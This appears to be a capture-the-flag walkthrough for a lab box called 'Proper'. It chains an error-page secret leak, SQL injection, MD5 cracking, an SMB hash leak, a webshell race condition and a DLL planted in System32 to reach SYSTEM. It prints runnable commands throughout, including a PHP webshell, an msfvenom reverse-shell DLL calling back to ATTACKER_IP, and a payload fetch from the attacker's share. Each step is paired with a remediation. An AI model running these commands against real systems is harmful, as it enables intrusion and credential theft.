Proper
Summary
The target host exposed only one service: a PHP e-commerce application running on Microsoft IIS. I omitted a required integrity parameter from the product-listing API, crashing the application in a way that printed the application's internal signing secret to the browser. With that secret, any API request could be forged, which unlocked SQL injection against a sort parameter; the resulting database dump contained customer passwords stored as fast, unsalted MD5 hashes that cracked in seconds against a common wordlist.
The cracked credentials authenticated to a second portal whose theme feature passed a caller-supplied path directly to PHP file-read and file-include calls. Pointing the path at my own file server forced the IIS worker to authenticate outward over SMB, leaking the service account credential hash, while also giving me control over what file content the portal read. A race condition between the portal's content-safety check and its subsequent file-include was won by serving a harmless oversized decoy, then swapping in a PHP backdoor mid-request, yielding a shell on the Windows host as the web service account and the first flag.
Privilege escalation exploited a custom cleanup utility that ran as NT AUTHORITY\SYSTEM and accepted restore commands over a named pipe that any local user could reach. By staging a malicious DLL, letting the service record its internal tracking entry, rewriting that entry to point at a Windows system directory, and issuing a restore command, I tricked the service into writing the DLL into System32 as SYSTEM. Triggering the Windows Update Orchestrator to load the DLL executed the payload with full system authority, yielding the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets (<new_b64_name>, <old_record>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Full-port scan; only 80/tcp responds.
$ nmap -p- --min-rate 3000 -T4 -Pn $TARGETService version confirms IIS 10.0 and PHP.
$ nmap -sV -Pn -p 80 $TARGETExtract PHP endpoint references from the homepage source.
$ curl -s http://$TARGET/ | grep -Eo '[a-zA-Z0-9_./-]+\.php[^"< ]*'Exact commands 2
Omitting h triggers the uncaught exception; read SECURE_PARAM_SALT from the stack trace in the response.
$ curl -s "http://$TARGET/products-ajax.php?order=name"Verify the recovered formula produces the expected h value before proceeding to SQLi.
$ python3 -c "import hashlib; salt='$KEY'; order='name'; print(hashlib.md5((salt+order).encode()).hexdigest())"FixDisable verbose PHP error output in every production environmentHigh
Exact commands 2
The --eval clause recomputes h before every request, keeping the integrity check satisfied across all payloads.
$ sqlmap -u "http://$TARGET/products-ajax.php?order=id&h=dummy" -p order --eval="import hashlib; h=hashlib.md5(('$KEY'+order).encode()).hexdigest()" --batch --level=3 --risk=2 --technique=BEUT --dbms=mysql -D cleaner -T customers --dumpCrack the dumped MD5 hashes; both fall immediately to common-password wordlist entries.
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --forceFixAllowlist permitted column names in the products API to eliminate SQL injectionCritical
Exact commands 2
Saves the authenticated session cookie to cookies.txt for subsequent /licenses/ requests.
$ curl -c cookies.txt -d "username=vikki.solomon@throwaway.mail&password=$PASSWORD" http://$TARGET/licenses/Pre-compute h for the UNC theme path before the next step.
$ python3 -c "import hashlib; theme='\\\\$ATTACKER_IP\\share'; print(hashlib.md5(('$KEY'+theme).encode()).hexdigest())"FixReplace MD5 password hashing with bcrypt or Argon2idHigh
Exact commands 2
Start the rogue SMB server; place header.inc inside /tmp/serve before the next command.
$ mkdir -p /tmp/serve && impacket-smbserver share /tmp/serve -smb2supportTriggers the UNC file_get_contents call; watch the SMB server output for the incoming NetNTLMv2 authentication.
$ THEME="\\\\$ATTACKER_IP\\share\\header.inc"; H=$(python3 -c "import hashlib; print(hashlib.md5(('$KEY'+'$THEME').encode()).hexdigest())"); curl -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H"FixBlock UNC and remote path schemes in all file_get_contents calls that consume user inputCritical
Exact commands 5
Create an oversized benign header.inc that delays the tamper-check read enough for the swap.
$ dd if=/dev/urandom bs=1M count=1 | base64 > /tmp/serve/header.incPrepare the PHP webshell payload to swap in.
$ printf '<?php system($_GET["cmd"]); ?>' > /tmp/serve/pwn.incBackground race trigger: the moment the tamper check opens header.inc, overwrite it with the webshell.
$ inotifywait -m -e open /tmp/serve/header.inc --format '%e' | while read e; do cp /tmp/serve/pwn.inc /tmp/serve/header.inc; done &Hammer the endpoint; success is when the response contains proper\web instead of an error.
$ THEME="\\\\$ATTACKER_IP\\share\\header.inc"; H=$(python3 -c "import hashlib; print(hashlib.md5(('$KEY'+'$THEME').encode()).hexdigest())"); for i in $(seq 1 60); do curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=whoami"; done
proper\webRead user.txt once RCE is confirmed; expected value is <user.txt>.
$ THEME="\\\\$ATTACKER_IP\\share\\header.inc"; H=$(python3 -c "import hashlib; print(hashlib.md5(('$KEY'+'$THEME').encode()).hexdigest())"); curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=type+C:\\Users\\web\\Desktop\\user.txt"FixRead a user-supplied file exactly once and validate its content before passing it to include()Critical
Exact commands 7
Build the reverse-shell DLL; add a named QueryDeviceInformation export (e.g. Via a C stub) to satisfy the UsoDllLoader resolution path.
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f dll -o WindowsCoreDeviceInfo.dllTransfer the DLL to the target via the webshell; substitute valid theme/h values.
$ curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=copy+\\\\$ATTACKER_IP\\share\\WindowsCoreDeviceInfo.dll+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll"Backdate the timestamp by 35 days to satisfy the cleanup service's >30-day age gate.
$ curl -s -b cookies.txt 'http://'"$TARGET"'/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"(Get-Item+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll).LastWriteTime+%3d+(Get-Date).AddDays(-35)"'CLEAN the DLL; the service stores its content and writes a base64-encoded filename record to C:\ProgramData\cleanup.
$ curl -s -b cookies.txt 'http://'"$TARGET"'/licenses/licenses.php?theme=...&h=...&cmd="C:\\Program+Files\\cleanup\\client.exe"+CLEAN+"C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll"'Compute the base64 target path with a trailing padding character to compensate for the service's last-char truncation.
$ python3 -c "import base64; p='C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll'; print(base64.b64encode(p.encode()).decode()+'A')"Replace <old_record> with the filename written by CLEAN and <new_b64_name> with the System32 base64 computed above.
$ curl -s -b cookies.txt 'http://'"$TARGET"'/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"Rename-Item+C:\\ProgramData\\cleanup\\<old_record>+<new_b64_name>"'Issue RESTORE directly over the named pipe; the service writes the staged DLL to C:\Windows\System32 as SYSTEM.
$ curl -s -b cookies.txt 'http://'"$TARGET"'/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"$p+%3d+[System.IO.Pipes.NamedPipeClientStream]::new(\'.\',\'cleanupPipe\',[System.IO.Pipes.PipeDirection]::InOut);+$p.Connect();+$w+%3d+[System.IO.StreamWriter]::new($p);+$w.AutoFlush%3d%24true;+$w.WriteLine(\'RESTORE\');+Start-Sleep+2;+$p.Dispose()"'FixRun the cleanup service as a least-privilege account and restrict named-pipe access and destination pathsCritical
Exact commands 3
Start the reverse-shell listener on my machine before triggering the DLL load.
$ nc -lvnp 4444Initiate a Windows Update scan; UsoSvc loads WindowsCoreDeviceInfo.dll from System32 as SYSTEM, connecting back to port 4444.
$ curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=usoclient+StartInteractiveScan"Run from the SYSTEM shell; expected value is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |